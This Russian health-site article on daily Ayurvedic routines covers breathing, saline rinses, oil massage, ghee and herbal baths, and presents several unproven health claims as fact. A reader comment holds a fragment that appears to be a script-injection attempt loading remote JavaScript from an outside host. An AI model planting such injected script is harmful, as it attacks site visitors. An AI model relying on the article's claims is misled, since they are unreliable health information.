Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Аюрведа на каждый день  >>  Аюрведа на каждый день
 
Обратная связь
 

Аюрведа на каждый день

Размер шрифта
31 января 2011 00:01
  • google_analytics: false
  • Нравится

Древнее учение о гармоничной и счастливой жизни – Аюрведа – ничего общего с научной медициной не имеет. Тем не менее, оно стремительно набирает популярность на Западе. Спа и салоны красоты высокого класса предлагают своим клиентам набор чудодейственных аюрведических процедур, возвращающих молодость, красоту, здоровье.

Татьяна Игошина / «Здоровье-инфо»

Но мало кто из нас самостоятельно следует наставлениям Знания о Жизненной Силе (как переводится слово «Аюрведа» с санскрита), оправдываясь сложностью древних правил и вечным отсутствием времени. А ведь жить по Аюрведе означает всего лишь более осознанное и внимательное отношение к собственному организму и обычным действиям. Попробуйте сделать древнюю мудрость Аюрведы частью своей жизни, и вы увидите, как все вокруг меняется к лучшему!

Пробуждение

Высшая цель очищения по Аюрведе – это очищение разума от шадрипу: страстей, злобы, жадности, самомнения, заблуждений относительно смысла жизни и возбуждения.

Проснулись? Потянитесь как следует, представьте яркую картинку удачного дня, который ждет вас сегодня и сядьте в постели, выпрямив позвоночник. Проанализируйте свое состояние: нет ли агрессии или апатии, все ли органы чувствуют себя нормально. Короткий утренний брифинг с собой позволит оценить состояние дош на сегодня и строить рацион так, чтобы привести три основные жизненные энергии – Капху, Питту и Вату – в равновесие.

Упражнение для гармонии

Самое простое и очень эффективное гармонизирующее упражнение можно выполнять, не вылезая из постели. Продолжая сидеть прямо, зажмите указательным пальцем правую ноздрю и вдохните через левую. Задержав дыхание, перенесите палец на левую ноздрю и выдохните правой. Повторите 3-4 раза. Затем, зажав левую ноздрю, вдыхайте правой и выдыхайте левой. Повторите также 3-4 раза. Это упражнение нормализует циркуляцию энергии и восстанавливает внутренний баланс.

Пейте воду натощак

«Это просто, как стакан воды!», – восклицали продвинутые интеллектуалы в начале ХХ века, даже не подозревая, что повторяют древнюю заповедь: самое простое очищение, с которого необходимо начинать день – это стакан воды (комнатной температуры или почти кипятка – существуют два варианта) натощак. Так вы помогаете своему организму заново включиться в вечный круговорот обновления – или, говоря проще, перезапускаете обмен веществ.

Соль – «альянс воды и огня»

Самой противоречивой пряностью – альянсом воды и огня – называет Аюрведа соль, предостерегая от чрезмерного ее употребления. Но очистительные свойства соли не подвергались сомнению. Раствор соли (1 ч.л. на стакан воды) считается отличным средством для полоскания полости рта, горла и промывания ноздрей (когда соленая вода «пьется» носом). Такая процедура отлично очищает от слизи и токсинов и открывает путь полноценному дыханию – важнейшему компоненту здоровья.

Механические промывания

Уверенность и умеренность – две стороны мудрости. Напрягаться, даже во имя благих целей, надо в меру: тренируя организм, а не истязая его.

Кстати, в обычных механических промываниях Аюрведа также видит мощный оздоровительный ритуал – нужно просто не лениться делать это со всеми частями тела, включая макушку. Индусы верят, что «родничок», явственно заметный у младенцев и почти заросший у взрослых – продолжает играть важную роль и заслуживает внимания и ухода. Хотя бы раз в неделю после мытья головы, в течение минуты промывайте макушку холодной водой и тщательно массируйте ее. Капала рандхра (промывание макушки) снимает усталость, тяжесть, головную боль, помогает проснуться и взбодриться. Еще один важнейший секрет – всегда принимайте водные процедуры с позитивным настроем.

Масла в Аюрведе

Масло занимает в аюрведической системе ключевую роль. И как пищевой продукт, и как лекарство, и как косметическое средство. В последнем ключе особенно ценится кунжутное масло. Утверждают, что оно единственное обладает способностью проникать сквозь все семь слоев кожи, питая и очищая. В спа всего мира одна из самых популярных процедур – широдхара, умащение головы медленно текущим из подвешенного сверху сосуда растительным маслом. Не менее популярен масляный массаж стоп. В одном аюрведическом трактате говорится: «Как змеи избегают орлов, так болезни избегают тех, кто умасливает ноги от коленей до пальцев». Налейте на руки немного масла и смажьте ступни. Растирайте, надавливайте подушками пальцев от пяток к пальцам и обратно. Потяните каждый палец и слегка поверните его. В заключение сожмите стопу с боков двумя ладонями.

Главное «пищевое» масло Аюрведы – Гхи, топленое масло. На нем основана практически вся кухня Равновесия – Самабхава. Приготовить Гхи можно самостоятельно: нагревая несоленое сливочное масло на среднем огне примерно 15 минут. После того, как масло начнет кипеть и появится пена (ее не убирают, т.к. она обладает лечебными свойствами), уменьшите огонь. Гхи готово, когда капля воды, налитая в масло, начинает потрескивать. Слегка остудите и процедите. Хранить гхи можно при комнатной температуре. Гхи считается универсальным омолаживающим и увеличивающим жизненные силы средством.

Пройдите специальный тест, чтобы узнать, какая доша у вас преобладает и что это означает.

 

Травы

Травы – еще одно любимое оружие Аюрведы, с помощью которого человек может обрести здоровье и гармонию. Особенно популярны теплые вечерние ванны с травами: они очищают от физических и ментальных загрязнений, накопившихся за день, расслабляют, успокаивают. Для вечера остановите свой выбор на ванне с мятой. Эта душистая трава не только снимает напряжение, избавляет от тяжелых мыслей и нормализует пищеварение, но и способствует усилению женской привлекательности.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 21:31

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

01 июля 2015 в 00:22

Комментарий удален за нарушение Правил общения

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.